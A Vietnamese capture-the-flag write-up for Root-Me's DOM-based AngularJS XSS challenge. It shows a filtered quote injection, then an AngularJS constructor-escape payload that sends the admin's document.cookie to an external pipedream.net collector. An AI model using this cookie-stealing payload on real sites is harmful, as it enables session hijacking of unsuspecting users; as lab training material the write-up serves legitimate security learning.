Skip to content
Tags

XSS DOM Based - AngularJS

Estimated time to read: 4 minutes

April 04, 2023 · ~5 minutes


Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Client/XSS-attack/xss-dom-DOM-Based-AngularJS?lang=en

Link challenge này tại http://challenge01.root-me.org/web-client/ch3-attack/xss-dom5/

Tổng quan

Trong challenge này, mục tiêu của ta là ăn cắp được cookie đến từ phía admin. Mà đã cookie đến từ admin thì phải tự tay admin thực thi mới có cookie đó, điều này đồng nghĩa với việc ta cần một thứ gì đó nhằm bắt hành vi của admin và Requestbin là ứng cử viên sáng giá cho việc làm này.

Tiếp theo, ta biết được lệnh lấy cookie đơn giản là document.cookie. Well, ta triển khai kịch bản tấn công thôi nào!

Kịch bản tấn công

Bước 1: Kiểm tra website

Đầu tiên ta thử gõ vài thứ vào website và xem xét trạng thái như thế nào.

Image title

Hình ảnh website challenge

Image title

Hình ảnh mô tả việc thêm nội dung deuteri vào box

Ta thấy rằng khi ta thêm nội dung deuteri vào website, thì ngay lập tức nội dung này được đưa vào biến name trong thẻ script và nội dung thẻ script như dưới

1
2
3
4
5
6
7
var name = 'deuteri';
var encoded = '';
for(let i = 0; i < name.length; i++) {
    encoded += name[i] ^ Math.floor(Math.random() * name.length);
}
encoded = Math.abs(encoded ^ Math.floor(Math.random() * name.length));
document.getElementById('name_encoded').innerText += ' ' + encoded;

Để ý rằng nội dung hàm này muốn encode thứ mà ta nhập vào. Nhưng việc hiểu code ở ngữ cảnh này là điều không quan trọng, mục tiêu của ta là chèn payload như nào để có thể bypass được đống code này.

Ta thử dùng cách bypass bình thường để gọi thông báo "1" bằng deuteri';alert(1); xem chuyện gì sẽ xảy ra

Image title

Hình ảnh mô tả việc thêm hộp thông báo lên màn hình

Không ngoài dự đoán, chả có chuyện gì xảy ra cả ::). Nó filter payload bất định và convert payload đơn thuần về 1 biến đơn thuần như hình dưới. Cụ thể nó xóa đi kí tự '.

Image title

Hình ảnh mô tả việc bị filter payload

Bước 2: Tiêm payload

Ta sẽ kiểm tra XSS cheatsheet AngularJS thì ta nhận được cú pháp {{constructor.constructor("alert(1)")()}} là cú pháp đúng để hiển thị hộp thoại thông báo 1 lên màn hình.

Image title

Hình ảnh mô tả việc tiêm thành công thông báo

Well, bây giờ ta chỉ việc tạo thêm

Bước 3: Giải quyết challenge

Từ bước 2, ta đã biết được cú pháp tiêm payload để thực thi script do mình tạo ra.

Ở bước này ta sẽ tiến hành tiêm payload nhằm lấy cookie của admin bằng document.cookie với cú pháp đầy đủ của AngularJS: {{constructor.constructor("document.location=\"https://eo1bklmdt6o4sv.m.pipedream.net?cookie=\\"+document.cookie")()}}

Và tiếp theo ta chỉ cần đợi hành vi từ admin

Comments